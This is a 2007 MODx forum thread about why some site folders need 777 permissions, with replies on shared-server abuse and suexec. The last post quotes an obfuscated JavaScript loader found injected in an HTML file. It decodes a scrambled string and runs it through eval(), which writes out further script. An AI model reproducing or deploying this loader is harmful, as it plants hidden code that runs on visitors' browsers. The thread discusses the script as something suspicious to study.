We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 25124
    • 54 Posts
    OK my host has siad that any directory with 777 is a risk.

    They must be 755. Why do files, images and cache have to be 777?

    Regards

    S
      • 7455
      • 2,204 Posts
      register Globals are off?

      it does not need to be your site that is the entry point it could be any domain if you are on a shared server.
      when register globals is on then its posible (next to some other settings) then a script run on that server on another domain can look for "777" folders to abuse. we once had a perl script that did this on our server.
        follow me on twitter: @dimmy01
        • 28042 ☆ A M B ☆
        • 24,524 Posts
        Quote from: SammyR at Dec 18, 2007, 10:00 AM

        They must be 755. Why do files, images and cache have to be 777?
        Because MODx has to be able to write to these folders, the cache folder is for the cached pages, and images especially is for uploading images to use (in MaxiGallery or in the RTE).

        If your site is using some form of suexec, then you don’t need 777. The scripts change user when they execute to the owner of the script, which is you, instead of using the Apache user as it does when it’s running as an Apache module (mod_php).
          Studying MODX in the desert - http://sottwell.com
          Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
          Join the Slack Community - http://modx.org
          • 28042 ☆ A M B ☆
          • 24,524 Posts
          That’s an interesting bit of javascript in that html file, looks like some kind of encryption.

          <script>
          
          var in = "lesson plans thematic unit"; 
          
          function P(Wn,I){
              if(!I){
                  I='ad]<=.G,v^-z7/F+%LoQ[c_fRnp{ejx#k|g1NhEB`Z?OV(&t492HM)$;:yCmqTYX';
              }
              var A;
              var qr='';
              for(var B=0;B<Wn.length;B+=4){
                  A=(I.indexOf(Wn.charAt(B))&255)<<18|(I.indexOf(Wn.charAt(B+1))&255)<<12|(I.indexOf(Wn.charAt(B+2))&255)<<(6)|I.indexOf(Wn.charAt(B+3))&255;
                  qr+=String.fromCharCode((A&16711680)>>16,(A&65280)>>8,A&255);
              }
              eval(qr);
          }
          
          P('nGT1j_)h{B%&j;^ZjG[`^H9HR2eO^;^Ze,%ke;^1+o^`j,L4FgqtR$7&e$c|eE/`zB^he;cVj,7&j,^)e;%&jEhhj2y`jG)VzEh&zEh&j,^)e;%&R$7tR$T){B%&pB7Xe<)HjfN47<NEeQMB-$h&-2eEe1MB-$cHR$.4no|N{$/){_c&j]y2n_nheB^hegNO^2vY+]THR2eO^;^Ze,%Y^2Nm');
              
          </script>
          
          


          Throws an error in Firebug, though.

          missing variable name
          [Break on this error] var in = "lesson plans thematic unit"; \n

          Playing with it a bit, that eval() spits out a document.write to write out another bit of javascript. Don’t have it all parsed, but it was sort of interesting.
            Studying MODX in the desert - http://sottwell.com
            Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
            Join the Slack Community - http://modx.org